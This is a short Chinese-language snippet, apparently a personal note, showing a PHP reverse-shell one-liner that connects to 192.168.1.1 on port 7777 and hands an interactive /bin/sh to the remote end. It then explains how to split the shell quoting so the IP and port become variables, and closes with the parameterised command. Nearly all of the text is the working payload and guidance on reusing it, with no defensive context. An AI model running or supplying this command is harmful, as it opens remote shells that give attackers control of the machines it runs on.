该命令原来为
php -r '$sock=fsockopen("192.168.1.1",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
后来想将该命令的IP和PORT变为可变参数,我们将$IP和$PORT直接替代上面的IP和端口是不行的,因为被当作字符串,我们使用''加到我们需要变成变量的两边即可,就变成前面一个字符串,后面一个字符串了。既下列三个字符串。
1.'$sock=fsockopen('
2.'",'
3.');exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("'$IP'",'$PORT');exec("/bin/sh -i <&3 >&3 2>&3");'